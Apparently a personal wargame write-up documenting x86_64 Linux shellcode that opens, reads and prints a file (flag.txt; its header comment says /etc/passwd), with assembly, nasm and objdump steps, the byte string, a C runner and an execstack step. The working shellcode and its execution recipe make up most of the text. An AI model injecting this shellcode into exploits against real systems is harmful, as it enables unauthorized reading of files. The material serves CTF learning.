While playing some wargames where I had to read a file called flag.txt using C code, one possible solution (unfortunately not the right one) was to use shellcodes to read the file and dump its content. Here are my notes for future use.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
BITS 64
; Author Mr.Un1k0d3r - RingZer0 Team
; Read /etc/passwd Linux x86_64 Shellcode
; Shellcode size 82 bytes
global _start
 
section .text
 
_start:
    jmp _push_filename
   
_readfile:
; syscall open file
    pop rdi ; pop path value
    ; NULL byte fix
    xor byte [rdi + 11], 0x41
       
    xor rax, rax
    add al, 2
    xor rsi, rsi ; set O_RDONLY flag
    syscall
       
; syscall read file
    sub sp, 0xfff
    lea rsi, [rsp]
    mov rdi, rax
    xor rdx, rdx
    mov dx, 0xfff; size to read
    xor rax, rax
    syscall
   
; syscall write to stdout
    xor rdi, rdi
    add dil, 1 ; set stdout fd = 1
    mov rdx, rax
    xor rax, rax
    add al, 1
    syscall
   
; syscall exit
    xor rax, rax
    add al, 60
    syscall
   
_push_filename:
    call _readfile
    path: db "flag.txt"

Shellcode compilation

Compile using nasm:

1
$ nasm -f elf64 shellcode.asm -o shellcode.o

Disassemble

Now you can disassemble the object file using objdump:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
shellcode.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <_start>:
   0:   eb 3f                   jmp    41 <_push_filename>

0000000000000002 <_readfile>:
   2:   5f                      pop    %rdi
   3:   80 77 0b 41             xorb   $0x41,0xb(%rdi)
   7:   48 31 c0                xor    %rax,%rax
   a:   04 02                   add    $0x2,%al
   c:   48 31 f6                xor    %rsi,%rsi
   f:   0f 05                   syscall 
  11:   66 81 ec ff 0f          sub    $0xfff,%sp
  16:   48 8d 34 24             lea    (%rsp),%rsi
  1a:   48 89 c7                mov    %rax,%rdi
  1d:   48 31 d2                xor    %rdx,%rdx
  20:   66 ba ff 0f             mov    $0xfff,%dx
  24:   48 31 c0                xor    %rax,%rax
  27:   0f 05                   syscall 
  29:   48 31 ff                xor    %rdi,%rdi
  2c:   40 80 c7 01             add    $0x1,%dil
  30:   48 89 c2                mov    %rax,%rdx
  33:   48 31 c0                xor    %rax,%rax
  36:   04 01                   add    $0x1,%al
  38:   0f 05                   syscall 
  3a:   48 31 c0                xor    %rax,%rax
  3d:   04 3c                   add    $0x3c,%al
  3f:   0f 05                   syscall 

0000000000000041 <_push_filename>:
  41:   e8 bc ff ff ff          callq  2 <_readfile>

0000000000000046 <path>:
  46:   66 6c                   data16 insb (%dx),%es:(%rdi)
  48:   61                      (bad)  
  49:   67 2e 74 78             addr32 je,pn c5 <path+0x7f>
  4d:   74                      .byte 0x74

Assembler to C

Now convert the opcodes to some C array:

1
2
$ for i in $(objdump -d shellcode.o |grep "^ " |cut -f2); do echo -n '\\x'$i; done;echo
\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74

Now use this code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>

unsigned char code[] = \
"\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74";

int main(int argc, char **argv) {
    void (*fp) (void);
    fp = (void *)code;
    fp();
}

C code compilation

… and compile it.

1
2
3
4
$ gcc -O3 -Wall -fstack-protector-all -fPIE bin.c -o bin
bin.c: In function 'main':
bin.c:20:1: warning: control reaches end of non-void function [-Wreturn-type]
 }

Make stack executable

The binary will segfault if executed. That’s because the stack isn’t executable:

1
2
3
4
5
6
$ readelf -l bin | grep -C 2 GNU_STACK

  GNU_EH_FRAME   0x00000000000005e4 0x00000000004005e4 0x00000000004005e4
                 0x0000000000000034 0x0000000000000034  R      4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     10

Let’s make the stack executable:

1
$ /usr/sbin/execstack -s bin

And finally run the executable:

1
2
3
4
$ cat flag.txt
bla
$ ./bin
bla